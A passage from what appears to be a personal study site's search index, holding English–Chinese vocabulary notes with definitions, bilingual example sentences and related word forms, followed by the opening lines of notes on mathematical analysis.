<p>'append'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u67d0\u7269\u6dfb\u52a0\u5230\u5217\u8868\u6216\u5e8f\u5217\u7684\u672b\u5c3e\u3002</p> <p>suspend \u60ac\u6302, \u6682\u505c, \u4e2d\u6b62</p> <p>alleviate</p> <ul> <li>v.<ul> <li>\u51cf\u8f7b, \u7f13\u548c, \u7f13\u89e3</li> </ul> </li> </ul> <p>Eg</p> <p>The medication helped to alleviate the patient's pain.</p> <p>\u836f\u7269\u5e2e\u52a9\u51cf\u8f7b\u4e86\u75c5\u4eba\u7684\u75bc\u75db\u3002</p> <p>The government implemented measures to alleviate poverty.</p> <p>\u653f\u5e9c\u91c7\u53d6\u4e86\u63aa\u65bd\u6765\u7f13\u89e3\u8d2b\u56f0\u3002</p> <p>The term 'alleviate' can also refer to making a problem or suffering less severe.</p> <p>'alleviate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u95ee\u9898\u6216\u75db\u82e6\u51cf\u8f7b\u3002</p> <p>assumption</p> <ul> <li>n.<ul> <li>\u5047\u8bbe, \u8bbe\u60f3</li> <li>\u627f\u62c5, \u627f\u62c5\u8d23\u4efb</li> <li>\u5047\u5b9a, \u5047\u88c5</li> </ul> </li> </ul> <p>Eg</p> <p>The assumption that he would be late proved to be correct.</p> <p>\u4ed6\u4f1a\u8fdf\u5230\u7684\u5047\u8bbe\u88ab\u8bc1\u660e\u662f\u6b63\u786e\u7684\u3002</p> <p>The company's assumption of responsibility for the project was commendable.</p> <p>\u8be5\u516c\u53f8\u5bf9\u9879\u76ee\u8d23\u4efb\u7684\u627f\u62c5\u662f\u503c\u5f97\u79f0\u8d5e\u7684\u3002</p> <p>The term 'assumption' can also refer to something that is accepted as true without proof.</p> <p>'assumption'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u6ca1\u6709\u8bc1\u636e\u7684\u60c5\u51b5\u4e0b\u88ab\u63a5\u53d7\u4e3a\u771f\u7684\u4e8b\u7269\u3002</p> <p>assure</p> <ul> <li>v.<ul> <li>\u786e\u4fdd, \u4fdd\u8bc1</li> <li>\u4f7f\u786e\u4fe1, \u4f7f\u653e\u5fc3</li> </ul> </li> </ul> <p>Eg</p> <p>He assured her that everything would be fine.</p> <p>\u4ed6\u5411\u5979\u4fdd\u8bc1\u4e00\u5207\u90fd\u4f1a\u597d\u8d77\u6765\u7684\u3002</p> <p>The company assured its customers of the product's quality.</p> <p>\u516c\u53f8\u5411\u5ba2\u6237\u4fdd\u8bc1\u4ea7\u54c1\u7684\u8d28\u91cf\u3002</p> <p>The term 'assure' can also refer to making someone feel confident about something.</p> <p>'assure'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u4eba\u5bf9\u67d0\u4e8b\u611f\u5230\u6709\u4fe1\u5fc3\u3002</p> <p>\u8ddfensure\u5dee\u4e0d\u591a</p> <p>accelerate</p> <ul> <li>v.<ul> <li>\u52a0\u901f, \u4fc3\u8fdb</li> <li>\u589e\u52a0, \u63d0\u9ad8</li> </ul> </li> </ul> <p>Eg</p> <p>The car can accelerate from 0 to 60 mph in just a few seconds.</p> <p>\u8fd9\u8f86\u8f66\u53ef\u4ee5\u5728\u51e0\u79d2\u949f\u5185\u4ece0\u52a0\u901f\u523060\u82f1\u91cc\u6bcf\u5c0f\u65f6\u3002</p> <p>The company plans to accelerate its expansion into new markets.</p> <p>\u8be5\u516c\u53f8\u8ba1\u5212\u52a0\u901f\u5176\u5411\u65b0\u5e02\u573a\u7684\u6269\u5c55\u3002</p> <p>The term 'accelerate' can also refer to the process of making something happen sooner or faster.</p> <p>'accelerate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u4e8b\u66f4\u5feb\u6216\u66f4\u65e9\u53d1\u751f\u7684\u8fc7\u7a0b\u3002</p> <p>alter</p> <ul> <li>v.<ul> <li>\u6539\u53d8, \u4fee\u6539</li> <li>\u53d8\u66f4, \u53d8\u52a8</li> </ul> </li> </ul> <p>Eg</p> <p>The tailor altered the dress to fit her better.</p> <p>\u88c1\u7f1d\u4fee\u6539\u4e86\u8fd9\u4ef6\u8fde\u8863\u88d9\u4ee5\u66f4\u597d\u5730\u9002\u5408\u5979\u3002</p> <p>The company decided to alter its marketing strategy.</p> <p>\u516c\u53f8\u51b3\u5b9a\u6539\u53d8\u5176\u8425\u9500\u7b56\u7565\u3002</p> <p>The term 'alter' can also refer to making a change to something, usually in a small but significant way.</p> <p>'alter'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u7269\u8fdb\u884c\u6539\u53d8\uff0c\u901a\u5e38\u662f\u5c0f\u4f46\u91cd\u8981\u7684\u6539\u53d8\u3002</p> <p>alternative \u66ff\u4ee3\u54c1, \u9009\u62e9, \u9009\u62e9\u4e4b\u4e00</p> <p>reproach</p> <ul> <li> <p>n.</p> <ul> <li>\u8d23\u5907, \u6307\u8d23</li> <li>\u803b\u8fb1, \u4e22\u8138</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u8d23\u5907, \u6307\u8d23</li> </ul> </li> </ul> <p>Eg</p> <p>She looked at him with reproach in her eyes.</p> <p>\u5979\u7528\u8d23\u5907\u7684\u773c\u795e\u770b\u7740\u4ed6\u3002</p> <p>His actions brought reproach upon the family.</p> <p>\u4ed6\u7684\u884c\u4e3a\u7ed9\u5bb6\u65cf\u5e26\u6765\u4e86\u803b\u8fb1\u3002</p> <p>The term 'reproach' can also refer to expressing disapproval or disappointment.</p> <p>'reproach'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8868\u8fbe\u4e0d\u6ee1\u6216\u5931\u671b\u3002</p> <p>accomplish</p> <ul> <li>v.<ul> <li>\u5b8c\u6210, \u5b9e\u73b0</li> <li>\u8fbe\u5230, \u5b9e\u73b0\u76ee\u6807</li> </ul> </li> </ul> <p>Eg</p> <p>She was able to accomplish all her goals for the year.</p> <p>\u5979\u80fd\u591f\u5b8c\u6210\u5979\u4eca\u5e74\u7684\u6240\u6709\u76ee\u6807\u3002</p> <p>The team worked hard to accomplish the project on time.</p> <p>\u56e2\u961f\u52aa\u529b\u6309\u65f6\u5b8c\u6210\u4e86\u9879\u76ee\u3002</p> <p>The term 'accomplish' can also refer to successfully achieving something through effort or skill.</p> <p>'accomplish'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u901a\u8fc7\u52aa\u529b\u6216\u6280\u80fd\u6210\u529f\u5b9e\u73b0\u67d0\u4e8b\u3002</p> <p>advocate</p> <ul> <li> <p>n.</p> <ul> <li>\u63d0\u5021\u8005, \u62e5\u62a4\u8005</li> <li>\u8fa9\u62a4\u5f8b\u5e08</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u63d0\u5021, \u4e3b\u5f20</li> <li>\u4e3a...\u8fa9\u62a4</li> </ul> </li> </ul> <p>Eg</p> <p>She is a strong advocate for women's rights.</p> <p>\u5979\u662f\u5987\u5973\u6743\u5229\u7684\u575a\u5b9a\u62e5\u62a4\u8005\u3002</p> <p>The lawyer advocated for his client's innocence.</p> <p>\u5f8b\u5e08\u4e3a\u4ed6\u7684\u5ba2\u6237\u7684\u6e05\u767d\u8fa9\u62a4\u3002</p> <p>The term 'advocate' can also refer to publicly recommending or supporting a particular cause or policy.</p> <p>'advocate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u516c\u5f00\u63a8\u8350\u6216\u652f\u6301\u67d0\u4e2a\u7279\u5b9a\u7684\u4e8b\u4e1a\u6216\u653f\u7b56\u3002</p> <p>accuse</p> <ul> <li>v.<ul> <li>\u6307\u63a7, \u63a7\u544a</li> <li>\u8c34\u8d23, \u8d23\u5907</li> </ul> </li> </ul> <p>Eg</p> <p>He was accused of stealing the money.</p> <p>\u4ed6\u88ab\u6307\u63a7\u5077\u4e86\u94b1\u3002</p> <p>The manager accused the employee of being late.</p> <p>\u7ecf\u7406\u6307\u8d23\u5458\u5de5\u8fdf\u5230\u3002</p> <p>The term 'accuse' can also refer to charging someone with an offense or crime.</p> <p>'accuse'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u63a7\u544a\u67d0\u4eba\u72af\u6709\u7f6a\u884c\u3002</p> <p>acquire</p> <ul> <li>v.<ul> <li>\u83b7\u5f97, \u5f97\u5230</li> <li>\u4e60\u5f97, \u5b66\u5230</li> </ul> </li> </ul> <p>Eg</p> <p>She managed to acquire a rare painting.</p> <p>\u5979\u8bbe\u6cd5\u83b7\u5f97\u4e86\u4e00\u5e45\u7a00\u6709\u7684\u753b\u4f5c\u3002</p> <p>He acquired new skills during the training.</p> <p>\u4ed6\u5728\u57f9\u8bad\u671f\u95f4\u5b66\u5230\u4e86\u65b0\u6280\u80fd\u3002</p> <p>The term 'acquire' can also refer to gaining possession or control of something.</p> <p>'acquire'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u83b7\u5f97\u67d0\u7269\u7684\u6240\u6709\u6743\u6216\u63a7\u5236\u6743\u3002</p> <p>require \u9700\u8981, \u8981\u6c42 inquire \u8be2\u95ee, \u8c03\u67e5</p> <p>ascertain</p> <ul> <li>v.<ul> <li>\u786e\u5b9a, \u67e5\u660e</li> <li>\u5f04\u6e05, \u5f04\u660e\u767d</li> </ul> </li> </ul> <p>Eg</p> <p>The detective tried to ascertain the facts of the case.</p> <p>\u4fa6\u63a2\u8bd5\u56fe\u67e5\u660e\u6848\u4ef6\u7684\u4e8b\u5b9e\u3002</p> <p>She quickly ascertained that the information was incorrect.</p> <p>\u5979\u5f88\u5feb\u5f04\u6e05\u695a\u4e86\u4fe1\u606f\u662f\u9519\u8bef\u7684\u3002</p> <p>The term 'ascertain' can also refer to finding out something with certainty through examination or investigation.</p> <p>'ascertain'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u901a\u8fc7\u68c0\u67e5\u6216\u8c03\u67e5\u786e\u5b9a\u67d0\u4e8b\u3002</p> <p>patriotic</p> <ul> <li>adj.<ul> <li>\u7231\u56fd\u7684, \u6709\u7231\u56fd\u5fc3\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The citizens displayed a patriotic spirit during the national holiday.</p> <p>\u5728\u56fd\u5e86\u671f\u95f4\uff0c\u5e02\u6c11\u4eec\u8868\u73b0\u51fa\u4e86\u7231\u56fd\u7cbe\u795e\u3002</p> <p>He felt a patriotic duty to serve his country.</p> <p>\u4ed6\u611f\u5230\u6709\u4e00\u79cd\u7231\u56fd\u7684\u8d23\u4efb\u53bb\u4e3a\u56fd\u5bb6\u670d\u52a1\u3002</p> <p>The term 'patriotic' can also refer to showing love and devotion to one's country.</p> <p>'patriotic'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8868\u73b0\u51fa\u5bf9\u56fd\u5bb6\u7684\u70ed\u7231\u548c\u5fe0\u8bda\u3002</p> <p>entrepreneurship</p> <ul> <li>n.<ul> <li>\u521b\u4e1a, \u4f01\u4e1a\u5bb6\u7cbe\u795e</li> <li>\u521b\u4e1a\u6d3b\u52a8, \u521b\u4e1a\u80fd\u529b</li> </ul> </li> </ul> <p>Eg</p> <p>Entrepreneurship requires creativity and risk-taking.</p> <p>\u521b\u4e1a\u9700\u8981\u521b\u9020\u529b\u548c\u5192\u9669\u7cbe\u795e\u3002</p> <p>She studied entrepreneurship to start her own business.</p> <p>\u5979\u5b66\u4e60\u521b\u4e1a\u4ee5\u5f00\u529e\u81ea\u5df1\u7684\u4f01\u4e1a\u3002</p> <p>The term 'entrepreneurship' can also refer to the process of designing, launching, and running a new business.</p> <p>'entrepreneurship'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8bbe\u8ba1\u3001\u542f\u52a8\u548c\u7ecf\u8425\u65b0\u4e1a\u52a1\u7684\u8fc7\u7a0b\u3002</p> <p>boost</p> <ul> <li>v.<ul> <li>\u63d0\u9ad8, \u589e\u5f3a, \u4fc3\u8fdb</li> <li>\u63a8\u52a8, \u63a8\u8fdb</li> </ul> </li> </ul> <p>Eg</p> <p>The new marketing strategy helped to boost sales.</p> <p>\u65b0\u7684\u8425\u9500\u7b56\u7565\u6709\u52a9\u4e8e\u63d0\u9ad8\u9500\u552e\u989d\u3002</p> <p>Regular exercise can boost your energy levels.</p> <p>\u5b9a\u671f\u953b\u70bc\u53ef\u4ee5\u63d0\u9ad8\u4f60\u7684\u80fd\u91cf\u6c34\u5e73\u3002</p> <p>The term 'boost' can also refer to increasing or improving something, especially in terms of performance or effectiveness.</p> <p>'boost'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u589e\u52a0\u6216\u6539\u5584\u67d0\u7269\uff0c\u7279\u522b\u662f\u5728\u6027\u80fd\u6216\u6548\u679c\u65b9\u9762\u3002</p> <p>boast \u5938\u8000, \u81ea\u5938, \u81ea\u5938\u7684</p> <p>compile</p> <ul> <li>v.<ul> <li>\u7f16\u8bd1, \u6c47\u7f16</li> <li>\u6536\u96c6, \u6c47\u96c6</li> </ul> </li> </ul> <p>Eg</p> <p>The programmer needed to compile the code before running it.</p> <p>\u7a0b\u5e8f\u5458\u9700\u8981\u5728\u8fd0\u884c\u4ee3\u7801\u4e4b\u524d\u7f16\u8bd1\u5b83\u3002</p> <p>She compiled a list of her favorite books.</p> <p>\u5979\u6c47\u96c6\u4e86\u4e00\u4efd\u5979\u6700\u559c\u6b22\u7684\u4e66\u7c4d\u6e05\u5355\u3002</p> <p>The term 'compile' can also refer to the process of converting source code into executable code.</p> <p>'compile'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u6e90\u4ee3\u7801\u8f6c\u6362\u4e3a\u53ef\u6267\u884c\u4ee3\u7801\u7684\u8fc7\u7a0b\u3002</p> <p>compilation \u6c47\u7f16, \u7f16\u7e82, \u6c47\u7f16\u7269</p> <p>compiler \u7f16\u8bd1\u5668, \u6c47\u7f16\u8005</p> <p>bribe</p> <ul> <li> <p>n.</p> <ul> <li>\u8d3f\u8d42, \u884c\u8d3f\u7269</li> <li>\u8bf1\u60d1\u7269</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u8d3f\u8d42, \u884c\u8d3f</li> <li>\u6536\u4e70</li> </ul> </li> </ul> <p>Eg</p> <p>The official was accused of accepting a bribe.</p> <p>\u8fd9\u540d\u5b98\u5458\u88ab\u6307\u63a7\u63a5\u53d7\u8d3f\u8d42\u3002</p> <p>They tried to bribe the guard to let them in.</p> <p>\u4ed6\u4eec\u8bd5\u56fe\u8d3f\u8d42\u8b66\u536b\u8ba9\u4ed6\u4eec\u8fdb\u53bb\u3002</p> <p>The term 'bribe' can also refer to offering something valuable to influence someone's actions.</p> <p>'bribe'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u63d0\u4f9b\u6709\u4ef7\u503c\u7684\u4e1c\u897f\u4ee5\u5f71\u54cd\u67d0\u4eba\u7684\u884c\u4e3a\u3002</p> <p>bribery \u8d3f\u8d42\u884c\u4e3a, \u884c\u8d3f</p> <p>coordinate</p> <ul> <li> <p>n.</p> <ul> <li>\u5750\u6807</li> <li>\u534f\u8c03, \u914d\u5408</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u534f\u8c03, \u8c03\u6574</li> <li>\u4f7f...\u534f\u8c03\u4e00\u81f4</li> </ul> </li> </ul> <p>Eg</p> <p>The coordinates of the location were marked on the map.</p> <p>\u8be5\u4f4d\u7f6e\u7684\u5750\u6807\u6807\u5728\u5730\u56fe\u4e0a\u3002</p> <p>The team worked together to coordinate the event.</p> <p>\u56e2\u961f\u5408\u4f5c\u534f\u8c03\u4e86\u8fd9\u6b21\u6d3b\u52a8\u3002</p> <p>The term 'coordinate' can also refer to organizing different elements to work together effectively.</p> <p>'coordinate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u7ec4\u7ec7\u4e0d\u540c\u7684\u5143\u7d20\u4ee5\u6709\u6548\u5730\u534f\u540c\u5de5\u4f5c\u3002</p> <p>coordination \u534f\u8c03, \u8c03\u6574, \u534f\u540c</p> <p>coordinator \u534f\u8c03\u8005, \u7edf\u7b79\u8005</p> <p>condemn</p> <ul> <li>v.<ul> <li>\u8c34\u8d23, \u6307\u8d23</li> <li>\u5224\u5211, \u5ba3\u5224</li> <li>\u4f7f\u9677\u5165\u56f0\u5883</li> </ul> </li> </ul> <p>Eg</p> <p>The government condemned the attack on the embassy.</p> <p>\u653f\u5e9c\u8c34\u8d23\u4e86\u5bf9\u5927\u4f7f\u9986\u7684\u88ad\u51fb\u3002</p> <p>He was condemned to life imprisonment.</p> <p>\u4ed6\u88ab\u5224\u5904\u7ec8\u8eab\u76d1\u7981\u3002</p> <p>The building was condemned as unsafe.</p> <p>\u8fd9\u5ea7\u5efa\u7b51\u88ab\u5224\u5b9a\u4e3a\u4e0d\u5b89\u5168\u3002</p> <p>The term 'condemn' can also refer to expressing strong disapproval or sentencing someone to a particular punishment.</p> <p>'condemn'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8868\u793a\u5f3a\u70c8\u4e0d\u6ee1\u6216\u5224\u5904\u67d0\u4eba\u7279\u5b9a\u7684\u60e9\u7f5a\u3002</p> <p>condemnation \u8c34\u8d23, \u6307\u8d23, \u5b9a\u7f6a</p> <p>condemnable \u5e94\u53d7\u8c34\u8d23\u7684, \u5e94\u53d7\u5904\u7f5a\u7684</p>"},{"location":"NOTE/Language/English/#part-3","title":"PART 3","text":"<p>consult</p> <ul> <li>v.<ul> <li>\u54a8\u8be2, \u8bf7\u6559</li> <li>\u5546\u91cf, \u5546\u8bae</li> <li>\u67e5\u9605, \u53c2\u8003</li> </ul> </li> </ul> <p>Eg</p> <p>She decided to consult a lawyer about the legal issues.</p> <p>\u5979\u51b3\u5b9a\u5c31\u6cd5\u5f8b\u95ee\u9898\u54a8\u8be2\u5f8b\u5e08\u3002</p> <p>The manager consulted with the team before making a decision.</p> <p>\u7ecf\u7406\u5728\u505a\u51b3\u5b9a\u524d\u4e0e\u56e2\u961f\u5546\u91cf\u3002</p> <p>He consulted the manual to find the correct procedure.</p> <p>\u4ed6\u67e5\u9605\u4e86\u624b\u518c\u4ee5\u627e\u5230\u6b63\u786e\u7684\u7a0b\u5e8f\u3002</p> <p>The term 'consult' can also refer to seeking information or advice from someone or something.</p> <p>'consult'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5411\u67d0\u4eba\u6216\u67d0\u7269\u5bfb\u6c42\u4fe1\u606f\u6216\u5efa\u8bae\u3002</p> <p>consultation \u54a8\u8be2, \u5546\u8bae, \u4f1a\u8bca</p> <p>consultant \u987e\u95ee, \u54a8\u8be2\u5e08</p> <p>consultative \u54a8\u8be2\u7684, \u987e\u95ee\u7684</p> <p>insult \u4fae\u8fb1, \u8fb1\u9a82</p> <p>confer</p> <ul> <li>v.<ul> <li>\u6388\u4e88, \u8d4b\u4e88</li> <li>\u534f\u5546, \u5546\u8bae</li> </ul> </li> </ul> <p>Eg</p> <p>The university conferred an honorary degree on the distinguished professor.</p> <p>\u5927\u5b66\u6388\u4e88\u8fd9\u4f4d\u6770\u51fa\u7684\u6559\u6388\u8363\u8a89\u5b66\u4f4d\u3002</p> <p>The committee members conferred to discuss the new policy.</p> <p>\u59d4\u5458\u4f1a\u6210\u5458\u4eec\u5546\u8bae\u65b0\u653f\u7b56\u3002</p> <p>The term 'confer' can also refer to granting or bestowing something, such as a title or degree, or to discussing something with others to reach a decision.</p> <p>'confer'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6388\u4e88\u67d0\u7269\uff0c\u5982\u5934\u8854\u6216\u5b66\u4f4d\uff0c\u6216\u4e0e\u4ed6\u4eba\u8ba8\u8bba\u4ee5\u8fbe\u6210\u51b3\u5b9a\u3002</p> <p>conference \u4f1a\u8bae, \u8ba8\u8bba\u4f1a</p> <p>conferral \u6388\u4e88, \u8d4b\u4e88</p> <p>conferment \u6388\u4e88, \u8d4b\u4e88</p> <p>refer \u63d0\u53ca, \u53c2\u8003</p> <p>defer \u63a8\u8fdf, \u5ef6\u671f</p> <p>fertile \u80a5\u6c83\u7684, \u80a5\u6c83\u7684, \u80a5\u6c83\u7684</p> <p>confine</p> <ul> <li>v.<ul> <li>\u9650\u5236, \u5c40\u9650</li> <li>\u76d1\u7981, \u7981\u95ed</li> </ul> </li> </ul> <p>Eg</p> <p>The prisoners were confined to their cells.</p> <p>\u56da\u72af\u4eec\u88ab\u9650\u5236\u5728\u4ed6\u4eec\u7684\u7262\u623f\u91cc\u3002</p> <p>The term 'confine' can also refer to restricting someone or something within certain limits or boundaries.</p> <p>'confine'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u67d0\u4e9b\u9650\u5236\u6216\u8fb9\u754c\u5185\u9650\u5236\u67d0\u4eba\u6216\u67d0\u7269\u3002</p> <p>confinement \u76d1\u7981, \u7981\u95ed, \u9650\u5236</p> <p>confined \u53d7\u9650\u7684, \u72ed\u7a84\u7684</p> <p>define \u5b9a\u4e49, \u89e3\u91ca</p> <p>definite \u660e\u786e\u7684, \u786e\u5b9a\u7684</p> <p>refine \u7cbe\u70bc, \u63d0\u7eaf</p> <p>infinite \u65e0\u9650\u7684, \u65e0\u7a77\u7684</p> <p>conserve</p> <ul> <li>v.<ul> <li>\u4fdd\u5b58, \u4fdd\u62a4</li> <li>\u8282\u7ea6, \u8282\u7701</li> </ul> </li> </ul> <p>Eg</p> <p>We need to conserve our natural resources for future generations.</p> <p>\u6211\u4eec\u9700\u8981\u4e3a\u5b50\u5b59\u540e\u4ee3\u4fdd\u62a4\u6211\u4eec\u7684\u81ea\u7136\u8d44\u6e90\u3002</p> <p>The term 'conserve' can also refer to using something carefully to prevent waste.</p> <p>'conserve'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c0f\u5fc3\u4f7f\u7528\u67d0\u7269\u4ee5\u9632\u6b62\u6d6a\u8d39\u3002</p> <p>conservation \u4fdd\u5b58, \u4fdd\u62a4, \u8282\u7ea6</p> <p>conservative \u4fdd\u5b88\u7684, \u5b88\u65e7\u7684</p> <p>preserve \u4fdd\u5b58, \u4fdd\u62a4</p> <p>reserve \u4fdd\u7559, \u9884\u8ba2</p> <p>observe \u89c2\u5bdf, \u9075\u5b88</p> <p>console</p> <ul> <li>n.<ul> <li>\u63a7\u5236\u53f0, \u64cd\u4f5c\u53f0</li> <li>\u63a7\u5236\u9762\u677f, \u4eea\u8868\u677f</li> </ul> </li> </ul> <p>Eg</p> <p>The programmer used the console to debug the application.</p> <p>\u7a0b\u5e8f\u5458\u4f7f\u7528\u63a7\u5236\u53f0\u8c03\u8bd5\u5e94\u7528\u7a0b\u5e8f\u3002</p> <p>The term 'console' can also refer to a panel or unit accommodating a set of controls for electronic or mechanical equipment.</p> <p>'console'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bb9\u7eb3\u7535\u5b50\u6216\u673a\u68b0\u8bbe\u5907\u63a7\u5236\u88c5\u7f6e\u7684\u9762\u677f\u6216\u5355\u5143\u3002</p> <p>consolation \u5b89\u6170, \u6170\u85c9</p> <p>consolidate \u5de9\u56fa, \u5408\u5e76</p> <p>consult \u54a8\u8be2, \u8bf7\u6559</p> <p>consume \u6d88\u8017, \u6d88\u8d39</p> <p>convey</p> <ul> <li>v.<ul> <li>\u4f20\u8fbe, \u8868\u8fbe</li> <li>\u8fd0\u8f93, \u4f20\u9001</li> </ul> </li> </ul> <p>Eg</p> <p>The teacher used pictures to convey the concept to the students.</p> <p>\u8001\u5e08\u7528\u56fe\u7247\u5411\u5b66\u751f\u4f20\u8fbe\u4e86\u8fd9\u4e2a\u6982\u5ff5\u3002</p> <p>The term 'convey' can also refer to transporting or carrying something from one place to another.</p> <p>'convey'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u67d0\u7269\u4ece\u4e00\u4e2a\u5730\u65b9\u8fd0\u8f93\u6216\u4f20\u9001\u5230\u53e6\u4e00\u4e2a\u5730\u65b9\u3002</p> <p>conveyance \u8fd0\u8f93, \u4f20\u9001, \u8868\u8fbe</p> <p>conveyor \u4f20\u9001\u5e26, \u8fd0\u8f93\u673a</p> <p>conveyer \u4f20\u9001\u8005, \u4f20\u64ad\u8005</p> <p>enlightened</p> <ul> <li>adj.<ul> <li>\u5f00\u660e\u7684, \u6709\u89c1\u8bc6\u7684</li> <li>\u53d7\u542f\u53d1\u7684, \u542f\u8499\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The leader was known for his enlightened views on social issues.</p> <p>\u8fd9\u4f4d\u9886\u5bfc\u56e0\u5176\u5728\u793e\u4f1a\u95ee\u9898\u4e0a\u7684\u5f00\u660e\u89c2\u70b9\u800c\u95fb\u540d\u3002</p> <p>The term 'enlightened' can also refer to someone who has been given greater knowledge and understanding about a subject or situation.</p> <p>'enlightened'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u67d0\u4e2a\u4e3b\u9898\u6216\u60c5\u51b5\u4e0b\u83b7\u5f97\u66f4\u591a\u77e5\u8bc6\u548c\u7406\u89e3\u7684\u4eba\u3002</p> <p>enlighten \u542f\u53d1, \u542f\u8499</p> <p>enlightenment \u542f\u8499, \u542f\u53d1</p> <p>dictate</p> <ul> <li>v.<ul> <li>\u53e3\u8ff0, \u542c\u5199</li> <li>\u547d\u4ee4, \u6307\u793a</li> <li>\u652f\u914d, \u51b3\u5b9a</li> </ul> </li> </ul> <p>Eg</p> <p>She dictated the letter to her assistant.</p> <p>\u5979\u5411\u52a9\u7406\u53e3\u8ff0\u4e86\u8fd9\u5c01\u4fe1\u3002</p> <p>The manager dictated the terms of the agreement.</p> <p>\u7ecf\u7406\u89c4\u5b9a\u4e86\u534f\u8bae\u7684\u6761\u6b3e\u3002</p> <p>The term 'dictate' can also refer to determining or influencing something.</p> <p>'dictate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u51b3\u5b9a\u6216\u5f71\u54cd\u67d0\u4e8b\u3002</p> <p>dictation \u542c\u5199, \u53e3\u8ff0</p> <p>dictator \u72ec\u88c1\u8005, \u4e13\u5236\u8005</p> <p>dictatorial \u72ec\u88c1\u7684, \u4e13\u5236\u7684</p> <p>estimate</p> <ul> <li> <p>n.</p> <ul> <li>\u4f30\u8ba1, \u4f30\u7b97</li> <li>\u8bc4\u4f30, \u8bc4\u4ef7</li> <li>\u62a5\u4ef7, \u9884\u7b97</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4f30\u8ba1, \u4f30\u7b97</li> <li>\u8bc4\u4f30, \u8bc4\u4ef7</li> </ul> </li> </ul> <p>Eg</p> <p>The engineer provided an estimate for the cost of the project.</p> <p>\u5de5\u7a0b\u5e08\u63d0\u4f9b\u4e86\u9879\u76ee\u6210\u672c\u7684\u4f30\u7b97\u3002</p> <p>It is difficult to estimate the exact number of people affected.</p> <p>\u5f88\u96be\u51c6\u786e\u4f30\u8ba1\u53d7\u5f71\u54cd\u7684\u4eba\u6570\u3002</p> <p>The term 'estimate' can also refer to forming an approximate judgment or opinion regarding the value, amount, size, or weight of something.</p> <p>'estimate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u7269\u7684\u4ef7\u503c\u3001\u6570\u91cf\u3001\u5927\u5c0f\u6216\u91cd\u91cf\u5f62\u6210\u5927\u81f4\u7684\u5224\u65ad\u6216\u610f\u89c1\u3002</p> <p>estimation \u4f30\u8ba1, \u8bc4\u4ef7</p> <p>estimated \u4f30\u8ba1\u7684, \u9884\u8ba1\u7684</p>"},{"location":"NOTE/MA/","title":"\u6570\u5b66\u5206\u6790\u4e00\uff0c\u4e8c\u7684\u4e2a\u4eba\u624b\u5199\u7b14\u8bb0","text":"<p> \u7ea6 392 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> \u6570\u5b66\u5206\u6790\uff08\u7532\uff09\u2160\uff08H\uff09\u7b14\u8bb0 <p> \u67e5\u770b</p> <p>\u5404\u7c7b\u79ef\u5206\u7684\u603b\u7ed3</p> <ul> <li>\u5b9a\u4e49\u5728\u6574\u4e2a\u7a7a\u95f4\u4e0a\u7684\u79ef\u5206</li> <li>\u5b9a\u79ef\u5206</li> <li>\u53cc\u91cd\u79ef\u5206</li> <li>\u4e09\u91cd\u79ef\u5206</li> <li>\u5b9a\u4e49\u5728\u66f2\u7ebf\u4e0a\u7684\u79ef\u5206</li> <li>\u66f2\u7ebf\u79ef\u5206<ul> <li>\u7b2c\u4e00\u7c7b\u66f2\u7ebf\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570\u65b9\u7a0b\uff0c\u5c06\u66f2\u7ebf\u5fae\u5206\u8868\u793a\u51fa\u6765\u5373\u53ef</li> 